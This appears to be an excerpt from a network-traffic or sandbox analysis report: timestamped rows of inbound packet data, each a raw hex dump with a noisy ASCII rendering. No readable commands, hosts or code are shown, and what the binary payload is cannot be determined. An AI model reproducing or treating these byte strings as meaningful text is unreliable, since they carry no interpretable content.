2022-07-20 08:32:57 UTC	801	IN	Data Raw: 1b b5 6d 93 6c fc 9c 9c fc 4c c5 5b 6c 2b 45 50 f0 7d 4d 4c d1 d8 80 a7 6f 2f 23 c4 a8 db 85 38 6b 15 dc 89 42 db c5 e8 ad c3 53 8b 9c 23 3c a8 c3 44 b8 d3 c4 e4 b5 5b 5b 84 d9 6c a4 94 db dc d1 4c e0 50 50 30 21 64 3b cf a0 33 85 29 b5 fc 2a 80 bd 2d 08 6f 2f 5f e8 2d 61 d0 30 6b 13 dc 50 a8 b4 d6 1f 0f 83 c4 04 10 2d 5d 90 bf 5f bf 01 e8 d4 1d 2f cf 03 94 08 0b 80 db 70 54 29 a5 18 af cf 7f 19 55 cc 5f ff bf af 46 4b 7c d1 3f 16 63 a8 82 23 ec 88 db 1c bd a3 40 80 e8 98 6d 80 e0 7b 8d 4c ff bf 5f 81 2b d5 e8 bf af ff b2 6d 55 68 7f af ff d0 78 ee 30 50 a0 b3 94 6c b9 05 c4 2f 7f 5f 8d cd 98 0f ff bf d1 5a a1 bb 1d 84 5f ff 5f b8 91 13 e1 50 5d 8d 18 af 7f 1f 18 46 56 00 40 2d 45 98 bf 5f bf 02 8b ab e8 38 47 b0 50 00 0d 1d 68 cf af 5f d8 0c 03 30 80 1d Data Ascii: mlL[l+EP}MLo/#8kBS#<D[[lLPP0!d;3)*-o/_-a0kP-]_/pT)U_FK\|?c#@m{L_+mUhx0Pl/_Z__P]FV@-E_8GPh_0
2022-07-20 08:32:57 UTC	802	IN	Data Raw: bf 5f cd dd f4 1e 1f 2f d8 dd 01 00 80 1d dd 0c aa 5f cf b8 e2 67 80 90 5d 0d 7c fe bf 5f 18 47 11 80 30 2d 7d 5c 38 9f 51 a0 50 5d bd 5c ab 2f ff a8 74 d0 e0 f0 8d 8d 44 bd 5f 2f 48 59 f5 40 50 8a 65 a2 2d cf 7f b9 a1 8f 90 50 bb dd f8 cd af af b3 41 a0 38 60 a3 01 40 f0 7b 4d 48 68 77 b1 31 90 df 16 d0 25 82 a5 2d 26 d5 91 fd bf af 80 6d 7d 44 fd ff bf 48 0e f4 40 a0 ca d5 41 1d 1f 2f d9 e6 5f 00 80 1b dd 68 ad 5f cf b8 98 33 81 90 53 78 ac 0f c4 f3 f1 00 40 ea 30 2d bd 5c 2b 5f ff 48 12 fd 30 e0 d9 55 2c bc af 7f 88 8c dd 44 00 cd ed 64 48 ff 92 40 50 8d a5 54 80 5a 8c dd 8d 2c 6e af cf 01 2b bd 08 ad cf 7f 78 e7 76 a0 00 c9 25 d8 fc bf 7f bb 35 68 6d 2f 5f 83 62 60 59 a5 d0 ac 2f ff cd d5 4c 1a 0f ff 50 8b cd 90 2c 5f bf 48 50 53 01 e0 69 55 14 7c af Data Ascii: _/_g]\|_G0-}\8QP]\/tD_/HY@Pe-PA8`@{MHhw1%-&m}DH@A/_h_3Sx@0-\+_H0U,DdH@PTZ,n+xv%5hm/_b`Y/LP,_HPSiU\|
2022-07-20 08:32:57 UTC	818	IN	Data Raw: 38 19 9d 4c 8d f5 bc 82 d8 8d 42 d1 00 c3 94 84 68 b5 fe 8b 45 b8 2a 9d 5e c8 e8 0d 38 00 e2 e0 d0 5a 80 db 55 78 13 92 7e 02 48 7b 09 51 30 03 54 dc 0b e5 f8 ca ed e0 88 c8 ce 32 a0 30 1b 85 58 81 62 00 d2 30 e0 d9 85 e8 cb 15 78 ef 46 88 4e 02 40 a0 81 c8 40 a2 40 50 8b ad 08 38 88 72 af ff 0b c5 a8 bb 15 b4 b9 d2 38 32 80 90 5d cd a8 e8 44 b3 f0 00 cb c5 c8 2b d5 cd 12 b0 00 6c 9c 1c fc 2c 9c 1c cc 8c 9c 4c b5 7b ec 51 89 0d 5c 5b ed bc 48 a1 b8 ff 1f 6b 95 38 d0 db 4d 7c 78 a5 23 af 5f bb 15 ac bb 65 cd 12 84 a0 cc 8c 6c 3c cc 8c 4c fc 6c fc 5c 1c f5 8b 4c 01 59 7d 1c db 9d fc a8 e1 68 1f 0f 8b 45 fc cb 45 8d 63 8c 6c 8c 9c cc 2c 2c 1c fc 4c 05 8b 6c c1 d9 7d ac 2b 75 58 00 bb cd 6c 38 cd 43 fe bf 2b bd 08 cb 91 bb e5 cc 19 c0 2b 45 5c db 35 6d 22 54 Data Ascii: 8LBhE*^8ZUx~H{Q0T20Xb0xFN@@@P8r82]D+l,L{Q\[Hk8M\|x#_el<Ll\LY}hEEcl,,Ll}+uXl8C++E\5m"T
2022-07-20 08:32:57 UTC	819	IN	Data Raw: dd dc 09 e2 0c c9 ea e0 8b 05 60 bb ed cc a3 1d 48 41 89 51 d0 bb 05 0d 12 0c 40 9c 4c 2c 3c cc cc cc 8c 6c 1c 6c 8c 6c 8c 9c 55 6b 0c 81 b9 cd ac 8b c5 98 00 bb 1d 5c d8 7d 57 30 80 1b 9d 7c 67 01 68 19 b4 00 cb d5 38 2b 72 9c 5b ea 10 2b 05 2c b9 a2 5c 59 4a 50 db c5 1c 7b e5 5d c2 44 a0 1c 6c 8c 6c 8c 9c cc 2c 2c 85 bb 6c 01 89 cd 6c 3a 31 db e5 38 00 db 7d 7c 78 ab 82 a0 00 cb ed 0c c7 41 88 88 e4 30 1b 95 5c 8b 45 0d 12 34 e0 9c 1c cc 8c 9c 4c 2c 3c cc 55 8b ac f1 59 ed bc 2b 05 58 50 6b ad 2c d8 3d 51 00 80 1b 1d cc 97 a1 38 e8 14 30 0b d5 2c 0b 45 5d 82 a4 f0 cc 8c 4c fc 6c fc 5c 1c 6c cc 6c 05 5b dc b1 d9 9d fc cb 15 88 b0 7b 4d fc e8 fd 5f 2f 5f cb ed bc 97 01 f4 58 94 30 0b 15 fc 0b 75 0d f2 54 a0 fc 9c 9c fc 4c 5c 1c 4c 6c cc 8c f5 7b ec 11 09 Data Ascii: `HAQ@L,<lllUk\}W0\|gh8+r[+,\YJP{]Dll,,ll:18}\|xA0\E4L,<UY+XPk,=Q80,E]Ll\ll[{M_/_X0uTL\Ll{
2022-07-20 08:32:57 UTC	835	IN	Data Raw: 9d 5c 86 e1 4c 50 8b b5 1c 82 bb cd bc e8 28 82 50 30 db e5 c8 db 18 38 09 dd 2c 0b f5 fc cb e5 08 8a 08 8c b8 ea 3c 1b 85 58 c6 e2 5c d1 bb a5 ac 5b 48 48 96 c1 ec f1 8b 55 f8 12 2b 9d 4c a8 96 4c 50 00 09 3e d0 30 80 b9 d4 80 90 50 bb 15 58 bb 58 d9 7d 7c 1b 85 7c af be 02 ac 75 c0 35 a2 bb ed cc 56 91 ac 01 2b 05 28 f6 a2 5c d0 8b 05 a8 d0 6b bd ec e8 3f 52 a0 d0 2b 0d 58 cb 41 89 b5 1c 5b 75 7c 5f be c8 9d d5 f9 24 ab bb 05 a8 b9 d5 64 39 09 a0 00 40 2b b5 fc cb c8 38 af 8e c1 dc 23 fa a1 25 cd bb a5 ac 5b 08 4f ee d1 ec 73 fa 01 75 4f 2b 95 5c 86 e0 4c 50 8b ad 18 59 7d 74 bb 5d 0b c5 ac bb 52 af 8e 18 5c b3 79 91 a5 a5 2b 55 bc 2b b2 08 86 c0 3c a1 bb dd 2c 66 41 ac 50 5b 65 1c 02 5b 4d ac b8 0a eb f0 00 8b 45 b8 2b d8 29 0d 5c cb 05 fc 6b a5 28 ba Data Ascii: \LP(P08,<X\[HHU+LLP>0PXX}\|\|u5V+(\k?R+XA[u\|_$d9@+8#%[OsuO+\LPY}t]R\y+U+<,fAP[e[ME+)\k(
2022-07-20 08:32:57 UTC	836	IN	Data Raw: ac 5b 48 6c d9 91 6b a5 fc 8b 42 5c 2b d8 23 a9 a1 c9 1d f8 6b b5 2c bb c2 4c 8b cd 68 d9 38 db e5 c8 db b5 6d 43 5c 1c 4c 6c 55 cb 4c 73 ec 48 09 7d 5c bb d5 2c 2b 48 8c db c1 b3 0a 51 5b 45 bc db c8 cc 79 11 8b 55 bc 2b 92 bc cb a8 c9 1d f8 6b b5 2c bb c2 4c 8b 88 13 91 31 db f5 cc db 12 2c 09 98 5b c5 58 8b a5 fd 33 cc 8c 4c fc 6c fc 5c 1c 6c cc 6c 9c 1c fc 2c 05 5b ec 11 d9 cd 1c 7b 45 fc 83 38 a4 cf d3 51 2b 0d ac 8b b1 e4 53 f2 81 db 45 7c 19 00 34 bb b7 bb 1d ac f7 c1 94 d0 80 a0 00 cb f5 0c 8b 42 03 f0 a4 bb dd 2c 29 01 2b b5 8d f3 2c 9c 1c cc 15 db 6c b1 79 4d fc 8b 05 5c 53 d8 44 a0 34 5b 8b ad 1c 5b 79 84 b8 05 80 90 50 bb b5 fd f3 9c 05 bb 6c c1 59 cd 5c 8b 05 5c 73 c0 44 70 cf a0 bb 75 8d 63 cc 6c 9c 1c fc 2c 9c 1c cc 8c 9c 4c b5 7b ec 83 ec Data Ascii: [HlkB\+#k,Lh8mC\LlULsH}\,+HQ[EyU+k,L1,[X3Ll\ll,[{E8Q+SE\|4B,)+,lyM\SD4[[yPlY\\sDpucl,L{
2022-07-20 08:32:57 UTC	852	IN	Data Raw: 7d 7f 2a 2f 80 a0 00 93 4a ff b6 05 90 13 70 b9 c5 28 2b 4d ac db 85 c8 69 41 5b 45 48 5f 36 e8 31 e1 04 0f f6 f5 2f 2d c4 b1 40 51 00 e0 69 95 c4 01 2d f4 10 91 50 30 22 b7 58 09 12 30 80 f8 50 38 e4 00 28 08 39 44 40 68 73 df 31 90 53 64 0c 2b 05 24 62 59 a0 17 44 40 b8 6b 74 0f ff 8b 4d 48 2a c0 28 51 2b 05 58 8a e0 be 5b d5 dd 93 cc 4c 5c 9c fc 9c 6c fc 9c 9c 65 0b 7c 81 09 ed fc cb e5 0c 50 cb cd 3c f1 bb dd d8 48 f9 cf af 2f bb a5 58 5b e5 1d 92 88 e0 a5 8b ec 81 ac 3c d0 a0 40 29 0d ac 80 9d e8 d2 44 8a d0 7d 88 91 5f b5 0f a2 30 50 dd 7d 5c 78 9c f8 5f ff c0 dd f8 02 4f 05 bf a0 30 90 5b e5 fc 2b 58 38 68 64 50 d0 50 cd 1d 5c 08 7f 65 00 00 cd ed 0c f1 cd f5 c0 02 e8 22 2b 2e cf 03 94 08 0b 90 d9 75 90 2b 7d 90 d9 7d 2c 1b 85 7c 2b 02 c9 e5 4c 8d Data Ascii: }/Jp(+MiA[EH_61/-@Qi-P0"X0P8(9D@hs1Sd+$bYD@ktMH(Q+X[L\le\|P<H/X[<@)D}_0P}\x_O0[+X8hdPP\e"+.u+}},\|+L
2022-07-20 08:32:57 UTC	853	IN	Data Raw: 56 10 0f eb c1 90 c2 db 11 a0 f2 bb 11 30 a0 7c 91 80 80 ec 01 a0 d0 ec 01 80 10 4c 71 90 22 4b 41 a0 9c 1c fc 2c 9c 1c cc 8c 05 0b 0c a1 89 4d fc f0 a1 5b 45 1d 63 8c 9c cc b5 6b 3c 61 09 1d fc b2 50 db d5 0d 63 fc 9c 9c 65 0b 7c 81 09 ed fc f8 a1 f0 00 40 0b d5 fd f3 c5 5b 4c 51 29 1d 2c bb a5 44 5b 4d 4c d9 88 6b a5 20 8b 45 58 29 d2 18 43 a0 40 50 8b 05 bd 12 2c 80 9c cc 4c 5c 9c fc 9c 6c fc 9c 9c fc 4c 5c 85 0b 4c 83 ac b0 79 4d b0 47 75 5c cf 6f 2f df 8b e5 40 fb 75 ec d9 95 f8 cd 1d 7c b1 7d 55 f8 52 a8 ca fe 5f bf 23 84 58 8b e0 69 95 c4 0d 1d f4 d1 1d 05 24 02 48 b5 7e af cf 03 54 d8 0b a0 8b a5 fd 32 10 40 4c fc 6c fc 5c 1c 6c cc 6c 9c 85 bb 0c 01 59 4d bc da c5 e8 7b e5 5d c2 48 a0 85 2b ac f1 c9 1d fc 6d a5 dc 60 0d 1d 08 d1 78 7c b2 ae 5f b3 Data Ascii: V0\|Lq"KA,M[Eck<aPce\|@[LQ),D[MLk EX)C@P,L\lL\LyMGu\o/@u\|}UR_#Xi$H~T2@Ll\llYM{]H+m`x\|_
2022-07-20 08:32:57 UTC	869	IN	Data Raw: 7d f8 7b 9d 20 cb 05 9c fb a5 24 89 4d b8 29 85 5c cb e5 bc 6b 45 cc ef 52 8f 80 50 00 f7 9c db 7d a8 9b 7d 78 5f b2 31 90 d0 80 2b 55 60 a3 a5 28 cb c5 14 b3 75 bc 59 f5 f0 29 15 24 bb ad a4 eb 4d 54 22 c6 97 f8 8b 55 f0 7b f5 c0 d2 7c 2b 05 40 2b a5 c0 5b 7d 94 4b 4d a4 1b 05 10 53 f5 18 db 25 14 93 e5 fc ab f5 10 5b d5 e4 89 05 68 b9 ed dc 19 85 40 89 d5 b4 5b 75 0c 6b 95 e4 32 0b f7 e8 7b 4d e8 3b 0d 40 a6 f1 cb f5 48 53 55 ec ef 6e 72 7f d3 f8 b0 e5 47 58 fd 9c 30 50 38 b0 38 d4 d0 e8 40 c1 04 a0 18 e3 7a 81 30 23 f4 9c 5b f5 08 a3 05 dc ba a2 af fc 01 cb 1d 88 e3 bd 0c 88 41 bf 2b 85 80 43 f5 68 db 45 c4 f3 95 1c 09 05 20 09 d5 74 d9 59 5f cf af 0e bb 65 cd 13 4c 6c cc 8c 6c 3c cc 8c 4c 65 2b dc c1 59 ed fc 2b 15 2c ba a0 48 5b e5 1d 93 4c 2c 3c cc Data Ascii: }{ $M)\kERP}}x_1+U`(uY)$MT"U{\|+@+[}KMS%[h@[uk2{M;@HSUnrGX0P88@z0#[A+ChE tY_eLll<Le+Y+,H[L,<
2022-07-20 08:32:57 UTC	870	IN	Data Raw: 5d 83 4c fc 6c fc 5c 1c 6c cc f5 db 3c b3 0c 58 59 4d b8 db c5 18 73 38 00 75 49 67 95 5c 41 a0 40 50 eb e7 27 95 cc 80 50 00 80 1a 15 cc db 45 6d 93 9c fc 4c 5c 1c 4c 6c cc 15 2b 1c 83 ac 88 b9 ed c8 1b 95 58 80 98 58 a5 39 27 15 2c 01 40 50 80 0b f7 c7 45 fc 40 a0 d0 a0 ca e5 bc db e5 bd 23 1c fc 4c 9c cc 4c 5c 9c 65 db 4c b3 bc 58 b9 cd 68 5b c5 58 80 78 a9 85 09 87 c5 cc a1 30 90 d0 4b 07 67 15 2c 30 e0 50 d0 8a 05 ac 0b 05 ad c3 cc cc 8c 6c 1c 6c 8c 6c 15 db ec b1 69 9d cc 0b 15 fc 0a d0 64 bb b5 fd f3 9c 9c fc 4c 5c 1c 4c 6c cc 8c 6c 3c cc 8c 4c 65 2b dc c1 59 ed fc 2b 15 2c ba a0 44 5b e5 1d 93 4c 2c 3c cc cc cc 8c 6c 1c 6c 8c 6c 8c 9c cc b5 6b 3c b3 6c 58 89 cd 68 db 75 a8 20 08 50 25 39 47 d5 2c 81 a0 00 40 4b f7 c7 05 7c 30 a0 30 90 5a e5 fc 2b Data Ascii: ]Ll\l<XYMs8uIg\A@P'PEmL\Ll+XX9',@PE@#LL\eLXh[Xx0Kg,0PlllidL\Lll<Le+Y+,D[L,<lllk<lXhu P%9G,@K\|00Z+
2022-07-20 08:32:57 UTC	886	IN	Data Raw: 6b 35 6d 42 54 00 4c 5c 9c fc 05 2b dc d3 bc 20 09 dd 28 0b e5 f8 c3 60 f4 89 05 70 f6 e5 cf 91 5d ed ff f1 db 9d c8 08 6e 77 fe bf d9 c5 14 7d 55 f4 52 cb ed 20 48 8f 79 bf af 83 9d e8 2f 44 9c db 4d 78 13 91 34 b8 ae 67 af af bb 88 78 37 43 5f ff 79 e5 f8 76 45 68 b3 cd 30 90 60 a1 8b 45 0d 12 34 e0 9c 1c cc 8c 9c d5 6b 1c 51 89 4d bc 2b 95 5c cb e8 50 db 50 f4 6b 95 38 09 58 89 d0 94 db 75 58 2b d5 0d 92 34 80 5c 1c 4c 6c cc 8c 6c 3c cc 8c 4c fc 6c fc 5c 85 2b ec 23 bc dc b9 ad ac ba 00 cb 15 88 b0 7d 4d f4 51 cb ed 2c 48 a5 2e be af b0 e1 6b 35 6d 42 54 00 4c 5c 9c fc 9c 6c fc 9c 9c fc 4c 5c 1c d5 2b ec 11 29 bd fc cb c5 38 f0 bb dd 2c 48 4d 32 ae 2f 80 e1 db 35 5d 82 54 80 2c 3c cc cc cc 15 2b 3c 2b 05 b0 10 db 4d ec b1 38 48 20 50 00 03 54 58 bb 05 Data Ascii: k5mBTL\+ (`p]nw}UR Hy/DMx4gx7C_yvEh0`E4kQM+\PPk8XuX+4\Lll<Ll\+#}MQ,H.k5mBTL\lL\+)8,HM2/5]T,<+<+M8H PTX
2022-07-20 08:32:57 UTC	887	IN	Data Raw: 8b 4d e0 a8 82 e4 5f bf f0 a8 2c fe 1f 1f 53 f4 84 b9 d3 81 90 50 bb 15 40 b3 28 1c 30 f5 9a 38 c6 3f ff bf 49 30 01 40 80 bb ed d0 78 a9 e1 ff 5f db 9d d0 63 29 e8 00 35 6b 0b b5 10 8b 42 4c 10 2d 9d 7f 11 48 90 71 fe 1f 63 14 38 8f e6 d0 05 42 24 21 dd e5 ef 00 b8 1d 7e 6f 2f 03 64 04 c9 e5 3c eb 48 68 30 3f cf 6f 59 e5 cc 2b 15 1c d9 94 51 d0 00 cd 1d 64 08 3d e3 fe ff cb ed 30 2b 11 ec 12 b8 ec 50 e0 d0 b3 44 54 89 c5 58 d3 4d 98 5f 45 48 b8 e0 1e 6f 2f 09 e5 c4 cd ed 14 e8 85 7c ce 5f bb d5 14 49 3c a1 50 d0 3f 56 15 18 50 cd 1d 64 08 60 d4 ff ff cb ed 30 2b 11 98 c9 05 b8 6d ad 34 d8 5f 05 ff 7f 1b a0 bd 1d 44 d8 05 ee cf 7f 93 20 09 d5 c0 cd ed 14 e8 88 d5 cf 5f b9 d5 6c 2d 45 14 00 5d 7d 3e 01 5d 55 9d 02 0d a5 20 50 8b 4d 80 f1 5b f5 fc f2 cb 15 Data Ascii: M_,SP@(08?I0@x_c)5kBL-Hqc8B$!~o/d<Hh0?oY+Qd=0+PDTXM_EHo/\|_I<P?VPd`0+m4_D _l-E]}>]U PM[
2022-07-20 08:32:57 UTC	903	IN	Data Raw: 2b bc 24 54 0b 4c 84 3c 1b 11 2b d1 a3 96 eb ce 96 58 eb f8 4f d2 14 e2 f0 00 83 f9 60 af 52 72 44 a0 40 d1 f9 60 e0 d0 30 f3 43 0f 3a b5 40 dc 1f a0 31 5f d2 be 84 90 d0 69 43 01 40 a0 ff ba 65 c0 32 f0 30 91 a3 a9 f3 04 db 94 14 ec 0e 8f c3 cb 97 b3 26 59 0f 00 00 40 d5 de af fa 85 50 bc 4f e0 e1 df b2 60 53 00 80 9f ea 15 10 a2 60 50 50 3f 03 39 d1 80 a0 f7 87 a3 f0 00 40 8f b5 3d 31 90 d0 57 c6 a3 50 d0 30 ef d5 7c 01 40 50 8f 5a 17 02 73 0d cb a6 53 49 44 2d 36 54 89 e7 6d af 34 8f ea e7 83 e3 41 c3 5f de 3e d3 b9 38 0d e6 d8 e6 af d6 4f 2d 8f 08 b7 46 37 a0 30 90 a4 c5 0f 1a b6 d3 3f 63 e4 d0 00 40 36 8f 8f be f4 8d 76 b4 2b 2f c6 4f cf 1e 40 83 09 d0 b6 3f ef 16 20 e6 9f 3f 5e 60 2d 46 60 d3 c9 b0 f6 df ef 73 66 4f 9a ff d9 4c e6 3f df 2f f6 df cf Data Ascii: +$TL<+XO`RrD@`0C:@1_iC@e20&Y@PO`S`PP?9@=1WP0\|@PZsSID-6Tm4A_>8O-F70?c@6v+/O@? ?^`-F`sfOL?/
2022-07-20 08:32:57 UTC	904	IN	Data Raw: 2f ef 20 d3 b9 10 77 51 30 7f 5f ff 35 7d 07 c1 bc 7f cf 5f 44 85 53 4f 04 23 be d4 bb e6 d9 d7 83 a9 54 77 21 0c ff ff ff 35 4b 55 69 34 af c3 bf 01 63 0e d1 ba 86 d8 07 03 79 51 45 a1 2b 74 74 5c 6e df 53 3b 83 6c cc 8c 2b 36 83 a0 8f b5 60 3f 15 33 a0 00 a0 db 01 b3 01 2f 11 ea 47 24 e6 6d 54 24 00 00 40 a0 5b 5f 26 af 2f 56 66 ef 8f 9e 20 e6 5f 6f d6 b0 36 3f 3f fe 00 36 5f 4f 87 f6 df ff ef 10 26 af 8f 57 60 e6 3f df 6f a0 b6 af 6f c6 10 b6 3f 8f 3e 80 66 4f 3f f6 80 96 0f 6f 7e 30 c6 df df 27 e0 26 5f 7f 8f b0 b6 3f ff 27 60 e6 9f 2f 4f 20 2d 86 d0 50 30 80 1d 6f 00 a0 00 40 ea 85 a3 c5 49 44 ff bb 41 11 4a 05 25 82 a4 11 6d cb d0 00 40 50 73 ef 9f 06 f3 0f 2f ee c0 53 4f df 47 a3 0f 9f af c0 bd f6 70 8d ff b0 1a 45 b5 23 d1 4f 24 00 0b 51 11 69 a2 Data Ascii: / wQ0_5}_DSO#Tw!5KUi4cyQE+tt\nS;l+6`?3/G$mT$@[_&/Vf _o6??6_O&W`?oo?>fO?o~0'&_?'`/O -P0o@IDAJ%m@Ps/SOGpE#O$Qi
2022-07-20 08:32:57 UTC	920	IN	Data Raw: e0 cb c8 75 11 c3 04 5d 30 ba 5f bf 50 8d a1 e1 59 b5 0c aa ff 7f 1b 97 03 af a1 b4 dd c0 ca 7f 6f 5b 05 2c fa bf 5f e3 ff 01 6b f8 23 c9 e3 df 24 c6 a0 50 d0 bb 75 94 26 ff bf db 3d 38 06 ff ff 46 7b 52 df 25 5b 5f bf af 89 65 cc 2e cf 7f 91 e0 82 c0 dd b5 c0 5a cf af 00 bd 05 a0 2e 7f 5f 68 8c a1 f0 00 10 68 b5 b8 30 90 53 64 10 10 51 5b ad cc ae 2f ff c9 cd 68 16 0f ff 84 c0 4f 24 77 a0 40 a0 cb d5 dc 16 1f 2f 1b 05 b0 f6 7f 6f d9 b5 8c 56 cf af 5f b5 e9 6c 2f 7f 2b 8d 94 56 0f ff c5 49 44 e5 bb ac 5d d4 04 e5 50 55 cf ef d5 58 00 40 50 b3 20 a0 89 85 d4 b4 5f 2f 29 c5 8c be af ff 6d 65 08 c4 7f af 50 0d 15 60 ce af 5f 58 9c 51 30 80 c0 38 94 b8 00 40 23 34 10 cb 1d 1c 5e cf 6f 59 3d e8 56 af 2f b5 3b 5f 55 ec 40 50 80 d3 39 e9 05 01 40 a0 e3 60 10 29 Data Ascii: u]0_PYo[,_k#$Pu&=8F{R%[_e.Z._hh0SdQ[/hO$w@/oV_l/+VID]PUX@P _/)meP`_XQ08@#4^oY=V/;_U@P9@`)
2022-07-20 08:32:57 UTC	921	IN	Data Raw: 67 50 48 a3 67 cf 1f db 55 ec b6 af 7f d3 39 41 83 c4 58 9b 11 af c7 13 40 50 00 6b 5d 20 c6 7f af 85 7f e5 4a 03 90 29 b5 84 a4 cf 7f 19 55 dc 5c ff bf f0 7d 85 98 74 cf 5f d9 e1 d2 a0 00 9b a9 a5 37 6a 91 39 83 42 50 80 65 2b 74 f5 33 89 93 26 2b 87 57 e4 e5 60 1c 1f 2f 33 41 d9 84 35 f0 ac cf af 23 e2 50 16 bb 4a ab 23 f5 44 85 89 d4 bf 8b c5 dc cc 5f cf 13 28 d3 73 b6 d9 5c b5 80 ac 2f ff cb cd dc 1c 0f ff 43 89 dd fc 2c 5f bf 4b 74 63 db 6d 65 08 c4 7f af 53 d0 1d d5 50 ac 5f cf d9 cd e4 74 6f 2f e8 6c 01 40 a0 a0 89 dd dc cc 5f cf 78 e7 b4 00 a0 da 13 d9 e3 52 d0 00 cb cd dc 1c 0f ff b0 01 a9 5f d1 a0 40 9b 99 5f 87 68 e0 d0 30 0b ed 60 7c 6f af 8b 9c a1 30 50 d9 b5 dc 6c 2f 7f 61 e0 42 f0 7d 85 b0 76 cf 5f 60 1d 55 c0 fc 5f af 83 60 08 a2 c3 00 40 Data Ascii: gPHgU9AX@Pk] J)U\}t_7j9BPe+t3&+W`/3A5#PJ#D_(s\/C,_KtcmeSP_to/l@_xR_@_h0`\|o0Pl/aB}v_`U_`@
2022-07-20 08:32:57 UTC	937	IN	Data Raw: 24 36 16 9b 45 40 2c d9 df ce 8d 43 2b ff 15 2b 1c 56 73 76 09 d5 20 ee f1 f3 66 af ee 8d 3c b7 db ad 14 cb 1d 88 b7 a3 e8 13 1f 40 a0 53 9f bf d4 46 16 3b 95 f0 ac db df 0b 5e dd 53 db cf 05 2b dc 01 63 f0 09 dd 2c 09 a1 89 01 a4 79 41 48 09 71 ac b9 d1 c0 29 41 b4 d9 91 28 69 11 cc 89 01 70 09 a1 d4 89 41 28 26 29 91 90 c9 e1 78 d8 41 dc 69 51 70 84 50 00 09 11 14 34 50 a0 bb 91 99 f3 0b 6f 85 0b 4c 51 73 72 79 4d bc 09 21 93 f0 19 81 a4 89 f1 58 59 61 ec 36 59 41 72 db 41 69 a1 10 89 51 54 29 81 b8 c9 f1 5c d9 51 c0 69 81 14 09 01 28 08 c1 60 b9 01 98 b8 01 6c b9 11 d0 d4 80 a0 89 d1 e4 f4 00 40 49 f3 2b cf c5 5b 4c 56 2b a1 38 54 1f af 2f 8b 05 58 0b e0 79 86 48 04 40 a0 5b e5 4c 29 46 db 45 f0 69 96 34 0b 15 18 09 d6 58 bb 15 b4 b9 16 40 bb c5 8c 59 Data Ascii: $6E@,C++Vsv f<@SF;^S+c,yAHq)A(ipA(&)xAiQpP4PoLQsryM!XYa6YArAiQT)\Qi(`l@I+[LV+8T/XyH@[L)FEi4X@Y
2022-07-20 08:32:57 UTC	938	IN	Data Raw: 60 c3 6e 00 95 e6 55 eb f4 52 89 9e cf 0e 6b 99 62 34 50 db cf d5 1b 3c d1 f3 56 17 2b 09 8b 37 8c b5 56 45 9a 38 79 99 5f af 5b c0 69 27 dc 8b 5e dd cd 1c 73 26 00 8b 07 b0 53 c5 bc a0 c3 b8 02 8a ea 81 60 68 50 dd 7f 6f db 7d 58 23 f4 5c d9 31 0b d7 dc 05 60 75 48 48 55 99 bf 7f b9 e7 3c 13 e8 82 74 af db 95 cc db 17 c0 72 47 d9 c7 f0 40 01 eb 02 72 60 53 9e 40 d5 46 d5 db 94 e2 59 2e df 0e 5b 49 52 54 30 db 5f 63 06 db c1 0d 1e 98 84 a0 00 a8 66 3f ff bf 04 f0 d4 2b a3 0b 99 5e b0 5f 55 89 e0 50 d0 e8 15 c9 7f 1f 37 00 16 00 40 a0 38 d0 d8 5f bf d3 c8 1f be 8b f3 09 0e 38 09 ce 4c d9 d5 a0 30 50 af 76 90 a9 8e 98 af 8c cc a0 f0 00 bf f6 2c af 86 d6 e1 2b ce f0 b8 36 cd 1f af 59 46 5c d3 78 e8 84 bc 83 f8 47 d7 17 5f 64 25 e3 11 43 e0 6b 1e d8 cf 53 00 Data Ascii: `nURkb4P<V+7VE8y_[i'^s&S`hPo}X#\1`uHHU<trG@r`S@FY.[IRT0_cf?+^_UP7@8_8L0Pv,+6YF\xG_d%CkS
2022-07-20 08:32:57 UTC	954	IN	Data Raw: 98 87 4b 17 2b 6e 55 cf 94 5e 5b cf bf 45 bc 51 b4 00 ff d7 c5 60 a5 aa c3 66 44 6b 75 ec 95 34 03 40 0f 5e dd 53 db cf 05 2b dc db 1d 38 05 59 a5 95 48 cc 19 5f 0f c7 40 96 30 a0 30 78 37 f8 ff 5f 3a c6 68 bd 93 71 c8 49 00 80 70 79 01 33 c0 1d 63 5b 5f 15 2b ac db 45 e8 dd d0 70 80 50 74 a3 ad 50 b0 50 a0 44 4c 6d 30 80 91 d0 f4 b5 e8 ce f9 0f ff 87 80 26 a0 30 90 38 09 58 5f af ba 26 b8 0d 13 b9 88 59 d0 e0 77 01 33 c0 1d 63 5b 5f 15 2b ac 01 8b a5 e8 83 66 d7 db f8 03 70 6f f1 af a6 5b 80 68 bb b4 2d 60 86 f0 00 ca e4 e6 28 ca dc 26 89 3f 26 18 21 e1 20 50 d0 30 69 1d 2c 8b 0d 5c 01 19 f0 40 00 00 34 f0 51 59 40 20 40 50 74 a0 61 29 30 80 51 00 f4 b4 d1 c9 50 a0 32 50 24 2c 01 69 d0 80 a4 00 35 e2 fc 80 c8 c4 26 88 bb 94 6d 10 06 f0 50 16 74 f0 79 d1 Data Ascii: K+nU^[EQ`fDku4@^S+8YH_@00x7_:hqIpy3c[_+EpPtPPDLm0&08X_&Yw3c[_+fpo[h-`(&?&! P0i,\@4QY@ @Pta)0QP2P$,i5&mPty
2022-07-20 08:32:57 UTC	955	IN	Data Raw: d0 68 7a c8 40 a0 51 c8 45 d0 30 f9 69 ce 5b 28 88 a0 50 d0 b9 ed 00 3d 4f 40 db 88 69 fd 5c ed 4f 40 2b 90 a4 e3 ec ae 1f 00 23 6b d6 cf b0 b8 aa 47 90 50 bb 56 5f 00 b8 86 f5 80 90 89 d9 fe c3 cb 5f a5 8b ac d6 cf d5 3c 1b 21 5f 75 a8 3a 85 bb a6 58 d5 50 42 50 80 b0 18 a8 a5 00 40 23 14 b0 c5 60 35 42 ff 95 ec 5b fe 7f 25 08 68 82 50 30 50 fe 6d 92 58 30 b3 50 80 d0 f0 50 10 48 22 54 bf 7f fc 2b cf c5 5b 4c 56 5f 25 dc bb 11 af a5 08 bf 26 84 1f c6 e8 6a a5 40 a0 53 64 50 25 80 25 09 26 a6 dc 31 de 0d c2 88 90 63 f0 00 f0 60 00 00 d8 1d c4 2f 7f 6c 8b bf f5 7b ec c3 fd 38 a0 63 c7 a4 e0 6a f5 af a5 38 08 2b 21 ff bf db 58 b9 a9 83 fb 55 33 8d 5d ac 1d a2 40 50 00 b1 08 df 10 80 50 8b 78 c9 d5 cf 24 b9 bd 1b 51 61 7f e5 d8 d1 f7 e8 4b 05 f0 00 c3 44 20 Data Ascii: 